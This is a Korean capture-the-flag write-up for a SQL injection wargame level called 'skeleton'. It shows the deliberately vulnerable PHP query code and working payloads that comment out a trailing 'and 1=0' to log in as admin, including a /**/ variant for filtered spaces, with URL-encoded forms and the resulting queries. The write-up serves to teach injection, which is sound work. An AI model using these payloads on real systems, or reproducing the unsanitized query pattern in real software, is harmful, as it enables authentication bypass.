문제 코드

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id'] == 'admin') solve("skeleton");
  highlight_file(__FILE__);
?>

쿼리 끝에 and 1=0이 붙어 있어서 기본 조건은 항상 거짓이 됩니다. 따라서 admin 조건을 추가하고 뒤의 and 1=0을 주석 처리해야 합니다.

exploit

?pw=' or id='admin'%23

URL 인코딩까지 적용하면 다음처럼 보낼 수 있습니다.

?pw=%27%20or%20id=%27admin%27%23

최종 쿼리는 아래와 같은 형태가 됩니다.

select id from prob_skeleton where id='guest' and pw='' or id='admin'#' and 1=0

id='admin' 조건이 참이 되고, 뒤의 ' and 1=0# 주석으로 처리됩니다.

주석을 공백처럼 사용하는 풀이

일반 공백 대신 /**/ 블록 주석으로 토큰을 나누어도 같은 쿼리를 만들 수 있습니다.

?pw='/**/or/**/id='admin'%23

URL 인코딩을 명확히 적용하면 다음과 같습니다.

?pw=%27%2F%2A%2A%2For%2F%2A%2A%2Fid=%27admin%27%23

최종 쿼리는 아래와 같은 형태가 됩니다.

select id from prob_skeleton where id='guest' and pw=''/**/or/**/id='admin'#' and 1=0

/**/는 주석으로 제거되면서 공백처럼 토큰을 분리하고, # 뒤의 and 1=0은 실행되지 않습니다.

배운 내용

  • 쿼리 뒤에 고정으로 붙는 조건이 있으면 주석 처리를 통해 제거할 수 있는지 확인합니다.
  • andor보다 우선순위가 높기 때문에, 주석이 없으면 뒤의 and 1=0 때문에 원하는 결과가 사라질 수 있습니다.
  • /**/ 블록 주석은 공백 필터링 우회나 토큰 분리에 사용할 수 있습니다.
  • URL에서 #은 반드시 %23으로 인코딩해야 서버에 전달됩니다.